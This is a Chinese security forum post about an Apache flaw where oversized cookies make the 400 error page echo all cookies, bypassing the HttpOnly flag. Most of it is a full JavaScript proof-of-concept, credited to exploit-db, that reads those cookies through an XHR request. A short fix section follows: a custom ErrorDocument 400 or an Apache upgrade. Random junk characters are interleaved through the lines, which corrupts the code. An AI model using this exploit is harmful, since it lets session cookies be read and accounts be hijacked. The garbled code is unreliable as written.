找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2948|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。1 F5 W. q2 i0 k/ W/ k

! l+ ~& C0 c- \5 S6 l0 Y用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
9 N0 R. I& i3 i9 t & \7 Y9 J+ j+ n! j! u
. \% m4 i3 X+ D0 f
// http://www.exploit-db.com/exploits/18442/
8 p$ ], v" _3 w% |8 M$ Y4 g( Zfunction setCookies (good) {/ Y$ G# L, Q% W' J
// Construct string for cookie value. c* |( y6 J8 H1 n. S
var str = "";
# ]  \9 n( k+ Y2 Cfor (var i=0; i< 819; i++) {4 l! q. c1 E( x8 X# p
str += "x";4 w  S1 b) y2 e
}( v8 g( I- @8 M* }+ i' d- N
// Set cookies+ |% G( G+ Y2 H! T6 x' Q- ~
for (i = 0; i < 10; i++) {* J. F* e2 m# o4 [$ U( k. ?8 Q
// Expire evil cookie" q* c! Q; [1 Q5 x0 T# m
if (good) {
3 @7 q; w4 q2 n: a& [var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
  M* x. k2 E2 s}
# S" m. C+ d! @, P6 I6 T7 f// Set evil cookie
- y6 }) q0 F' B( ielse {
9 a. F8 f. m) N7 }7 Q1 l, Nvar cookie = "xss"+i+"="+str+";path=/";
( y( a) ]5 Q1 R9 H}' o; R; r$ b* y6 H2 k8 ~) ?0 S
document.cookie = cookie;0 a$ w8 G" p/ P' Q# v8 R
}9 T1 w8 M7 `* U' Q
}0 o' ?0 z. V: j5 Z9 O5 c7 ]- T, o
function makeRequest() {
- c$ A$ C$ p: W4 T. W+ zsetCookies();
/ T1 g- D5 Z1 dfunction parseCookies () {# [5 g8 {6 K8 ~
var cookie_dict = {};
" d4 \0 D. E! B7 l8 c// Only react on 400 status
4 |) Q, |/ N, G3 K1 {: Dif (xhr.readyState === 4 && xhr.status === 400) {+ i6 S; V) }3 ^6 [
// Replace newlines and match <pre> content
: ~5 |0 w$ _! g5 _) p0 lvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);4 p" M; S, p1 X
if (content.length) {/ S4 _: l) x! _9 v: N
// Remove Cookie: prefix
3 L3 U* w' B6 Q2 D6 R) Ycontent = content[1].replace("Cookie: ", "");
2 _8 M& l8 L" {: f2 `$ dvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);/ R: o; h  ?# J) g
// Add cookies to object: `3 f3 k) P5 R3 E$ s
for (var i=0; i<cookies.length; i++) {; q- }. x$ C; [, P) k
var s_c = cookies.split('=',2);
/ @  A. s6 `4 {" Y$ N5 Icookie_dict[s_c[0]] = s_c[1];
* W: m7 a/ }5 o}
7 Y9 |( F0 Q% r. `8 J4 v; R2 H}
* n  |" J) t4 Y5 G+ h- f8 ~// Unset malicious cookies" s2 I$ i5 k% C' ^3 E- D
setCookies(true);3 v2 F7 H) |& v( L
alert(JSON.stringify(cookie_dict));7 e) J/ X8 K2 {9 E
}( i' {8 Q+ P9 ~) c9 e
}* t+ V% e5 L: H5 T/ {, G4 V
// Make XHR request
1 M3 T' W- p; @' _# H. W+ C: ~  ]var xhr = new XMLHttpRequest();
" @8 V3 d* _$ c/ yxhr.onreadystatechange = parseCookies;
3 ~8 y  M- m9 j1 o+ E/ yxhr.open("GET", "/", true);
$ q# J" k) i! O5 X) W% n9 |: dxhr.send(null);2 x) Y* T" U+ Y* [
}
  t, k1 [+ S- _& d4 a' SmakeRequest();
( k& z3 @) @7 i/ W- e7 w9 a# o! I+ x
你就能看见华丽丽的400错误包含着cookie信息。
" r1 i1 C6 `) f' l8 Z
' y" g. [" P7 f( w! A下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#' E7 s7 b1 j5 B& i5 Z
3 a* i# A0 V$ Y
修复方案:
" w2 L7 p* p; P) p( e6 }/ L( [# z8 Z
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下3 h+ Q) r7 F, r6 h; U
5 N' D. n, y$ q" d
In the event of a problem or error, Apachecan be configured to do one of four things,& a9 O2 ^& V' B) r$ n

- b( {4 b, t6 n3 v2 [* j$ N3 \6 i: i, J1. output asimple hardcoded error message输出一个简单生硬的错误代码信息. o) h5 u) z. e8 T4 R
2. output acustomized message输出一段信息+ C7 i9 \- u0 z
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 4 ]1 p1 j& J, m$ f
4. redirect to an external URL to handle theproblem/error转向一个外部URL* z' t# f) p% @/ t

) s! U2 H; M! D. ^+ i: v  ?经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
0 a4 A* I; k8 R& F, E" M/ o' }7 g; N' _( U
Apache配置:
: d( y; l  O- A0 O7 T5 I4 S! _6 S3 s8 M+ @- e- M
ErrorDocument400 " security test"% U% F1 ]5 _$ W! ~: |% n

3 f7 w0 U1 d3 R% s$ Y当然,升级apache到最新也可:)。
$ F, i8 @  N* ]3 ^1 h/ T: u- C  {; q/ H" E, r3 `0 z$ {
参考:http://httpd.apache.org/security/vulnerabilities_22.html* e' v( m4 U! }3 x
0 V( w- l% a0 m' I1 _7 S6 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表